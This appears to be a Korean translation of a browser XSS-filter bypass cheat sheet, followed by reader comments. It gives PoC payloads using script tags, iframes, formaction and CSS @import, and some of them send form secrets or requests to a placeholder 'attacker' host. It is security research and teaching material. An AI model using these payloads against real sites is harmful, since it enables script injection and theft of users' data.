- https://vulnerabledoma.in/bypass/same-domain-link.html
- https://www.vulnerabledoma.in/bypass/same-domain-link.html
<a href="https://vulnerabledoma.in/bypass/text?q=<script>alert(1)</script>">Click HERE</a>
X | O | O | O | X | X |
2중으로 링크를 걸어 referer 생성
공격 가능 조건:
- 링크를 통한 Reflected XSS 취약점이 존재
보충:
이중으로 링크를 걸어 해당 도메인에서의 referer를 생성해주는 방법으로 javascript:alert() 처럼 XSS필터 우회가 가능。
PoC:
https://vulnerabledoma.in/bypass/link?q=?q=javascript%253Aalert(1)
<a href="?q=javascript%3Aalert(1)">Link</a>
O | O | O | O | O | O |
취약한 form의 전송 이전의 상태를 조작 가능한 경우
공격 가능 조건:
- Reflected XSS 취약점이 존재
PoC:
<form action="form"> <input type="hidden" name="q" value=""><script>alert(1)</script>"> <input type="hidden" name="secret" value="a09d3ef0"> <input type="submit"> </form>
X | O | O | O | X | X |
option태그의 사용
공격 가능 조건:
- 임의의 태그를 쓸 수 있는 XSS 취약점이 존재
- form내에 XSS 취약점이 존재
참고URL:
PoC:
<form action=submit> <button formaction=form3>CLICK<select name=q><option><script>alert(1)</script> </form>
X | O | O | O | X | X |
비어있는 iframe태그의 사용
공격 가능 조건:
- 임의의 태그를 쓸 수 있는 XSS 취약점이 존재
- 페이지가 프레임 태그를 허용함
보충:
XSS로 빈 iframe을 만들고 만들어진 프레임의 src를 자바스크립트 코드로 하면,
취약점이 존재하는 도메인 자신의 referer가 붙기 때문에 우회가 가능
참고URL:
PoC:
https://l0.cm/bypass/ieedge_iframe.html
<!-- Found by @magicmac2000 -->
<iframe onload="contentWindow[0].location='//vulnerabledoma.in/bypass/text?q=<script>alert(location)</script>'"
src="//vulnerabledoma.in/bypass/text?q=%3Ciframe%3E"></iframe>
X | O | O | O | X | X |
formaction의 사용 (민감 정보 취득 가능)
공격 가능 조건:
- Reflected XSS 취약점이 존재
- 민감 정보가 포함된 기존의 form 태그의 action값을 대신할 formaction 속성을 쓸 수 있음
PoC:
https://vulnerabledoma.in/bypass/form?q=%22%3E%3Cbutton%20formaction=//attacker/%3E
<form action="form"> <input type="hidden" name="q" value=""><button formaction=//attacker/>"> <input type="hidden" name="secret" value="a09d3ef0"> <input type="submit"> </form>
X | O | O | O | X | O |
CSS의 참조 구문 이용(CSS 값 조작 가능시)
공격 가능 조건:
- Reflected XSS 취약점이 존재
- CSS의 값을 조작할 수 있음
보충:
CSS나 SVG에서 특수문자(@, :, \, ()를 사용할 수 있을 때 import 구문을 사용해 악의적인 Request를 발생시킬 수 있음
IE에서는 behavior:url()함수를 사용해 자바스크립트의 실행도 가능함
참고URL:
- http://www.businessinfo.co.uk/labs/talk/The_Sexy_Assassin.ppt
- https://blog.innerht.ml/cascading-style-scripting/
- https://antoinevastel.com/security/privacy/2017/04/09/history-stealing.html
PoC:
<svg><style>@import'//attacker'</style>
O | O | O | O | O | X |
<svg><style>@\0069mport'//attacker'</style>
O | O | O | O | O | X |
<p style="behavior:url('/bypass/usercontent/xss.txt')">
X | X | X | O | X | X |
<p style="behavior:url('/bypass/usercontent/xss.txt')">
X | X | X | O | X | X |
마치며…
번역을 성심껏 도와준 hiki에게 감사를 표한다.
이 문서가 대한민국의 웹해커들이 새로운 경지를 개척할 수 있는 단서가 되길 바란다.원글 :
https://github.com/masatokinugawa/filterbypass/wiki/Browser’s-XSS-Filter-Bypass-Cheat-Sheet
6 Comments
bccccc
안녕하살법!
root
안녕하살법 받아치기!!
너무 감사합니다
안녕하세요!
너무 잘 정리해주셔서 감사드립니다 ㅠㅠ
하나 질문 드리고 싶은게 있어서 댓글 남겨봅니다.
————————————————————————————————————————————————————
다음은 스크립트의 실행은 불가능하지만 악용의 가능성이 존재하는 기법임
http(s):링크 만들기
https://vulnerabledoma.in/bypass/text?q=%3Ca%20href=https://attacker/%3ESession%20expired.%20Please%20login%20again.%3C/a%3E
————————————————————————————————————————————————————
라고 작성해주셨는데, 해당 기법도 XSS 공격 범주에 속할 수 있는건가요?
이 공격의 명칭은 정확히 어떻게 분류를 해야할까요?
rubiya
“태그의 사용이 가능” 자체로는 취약점이 아닙니다.
다만 Referrer 를 검사하는 CSRF 미티게이션 등 제한적인 상황에서 체이닝하여 사용할 수 있습니다.
덧붙여 <img src=https://attacker/> 와 같은 태그를 통해 클릭 없이도 Referrer가 포함된 요청을 만들어낼 수 있습니다.
지나가는 뉴비
와… 방법이 되게 다양하네여
많이 배워가요옹
밥밥띠라밥
xss과제한다고 즐겨찾기 했던 사이트 다시 보는데 세상에나
영광입니다… 31층에서 뵙겠습니다!